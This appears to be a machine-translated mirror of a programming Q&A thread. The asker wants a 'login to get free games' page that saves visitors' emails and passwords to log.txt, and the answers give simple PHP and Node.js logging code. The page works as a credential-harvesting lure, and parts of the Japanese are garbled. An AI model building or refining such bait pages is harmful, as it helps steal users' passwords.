2017-04-30 22 views
-2

フォームから保存ログに

form {position: absolute; left: 45%; top: 35%;} 
 
#email {position: relative;left: 30%;bottom: 90%;text-shadow:1px 1px #D8E3EC;color: #097BDA;} 
 
#password {position: relative;left: 25%;bottom: 100%;text-shadow:1px 1px #D8E3EC;color: #097BDA;} 
 
#submit {position: absolute;bottom: -30%;left: -30%;text-shadow:1px 1px #D8E3EC;padding: 0.5% 25%;border-radius: 2px;background-color: #31A1FF;border-width: 4px;border-color: #0468BB;} 
 
#submit:hover{background-color: #67BAFF;} 
 
#eee {border-radius: 5px;} 
 
#ppp {border-radius: 5px;} 
 
#titlu {position: absolute;left: 31.5%;text-shadow:2px 2px #F9FBFC;font-family: fantasy;color: #097BDA;} 
 
body {background-image: url(background.jpg);} 
 
#tran {opacity: 0.9;position: absolute;left: 37%;top: 20%;;width: 30px 30px;}
<!DOCTYPE HTML> 
 
<html> 
 
<head> 
 
<title>Website</title> 
 
<link rel="stylesheet" type="text/css" href="styles.css"> 
 
</head> 
 

 
<body> 
 
<img id="tran" src="tran.jpg"> 
 
<h1 id="titlu">Welcome,please login to get free games right now!</h1> 
 

 
<form class="formm" action="form.php" method="get"> 
 
<p id="email">Email</p> 
 
<input id="eee" type="email" placeholder="Put your email here"><br /> 
 
<p id="password">Password</p> 
 
<input id="ppp" type="password" placeholder="Put your password here"> <br /> 
 
<input id="submit" type="submit" value="GET YOUR FREE GAME NOW!"> 
 

 

 

 
</form> 
 

 
</body> 
 

 

 
</html>

だから私のような何かを追加したい - 私は私のメールアドレスとパスワードを入れたときに押しボタンを提出し、別のファイルにログを取得するには、ログのような。TXT。

+0

であなたのソリューションを提供することができますか? – DamiToma

+0

はい、私はちょっとおもしろいですが、おそらく私はそれを完了させるでしょう –

+0

あなたはあなたのコンピュータにインストールされているサーバーが必要であることを忘れないで、前にPHPを使用したことはありません。私はこの答えがあなたを助けたと思う! – DamiToma

答えて

0

PHPでは、ファイルを作成して何かを書くのは簡単です。あなたがログに、誰かがあなたのフォームを送信するたびに書きたい場合は、単にこの関数を呼び出す必要があります。

<?php 
function write_log($string) { 
    $log_file = 'log.txt';  
    $string .= PHP_EOL; 
    if ($fh = @fopen($log_file, "a+")) { 
     fputs($fh, $string, strlen($string)); 
     fclose($fh); 
     return true; 
    } else { 
     return false; 
    } 
} 
?> 

当然、で書くための「log.txtと」と呼ばれるファイルが存在する必要があり、それはextists場合は、あなただけ。この関数を呼び出して、ログコンテンツをstringパラメータとして設定する必要があります。次に例を示します。

<? 
//Write "Hello World" into your log.txt file. 
write_log("Hello World"); 
?> 

PHP_EOLは何をしますか?
PHP_EOLは定数です。使用しているシステムで行を分割する最も簡単な方法を見つけるだけです。そのため、何もせずにすばらしいスキーマでフォーマットされた複数の行を挿入することができます。


参照
http://php.net/manual/en/reserved.constants.php
http://php.net/manual/en/function.fputs.php

0

あなたはActiveXのであり、唯一のIEで実行scripting.FileSystemObjectを使用しない限り、Javascriptがlog.txtファイルに書き込むことはできません。私はconsole.log()を使って、それを実現させたり、Webサービスを呼び出して相手側にログを書き込んだりすることを提案します。

更新:あなたが柔軟であれば、私はあなたにPHPの溶液を得た場合、それはOKですが、nodeJsfilesystem

var fs = require('fs'); 

fs.appendFile('log.txt', 'Log text data to append', function (err) { 
    if (err) throw err; 
    console.log('Log updated'); 
}); 
関連する問題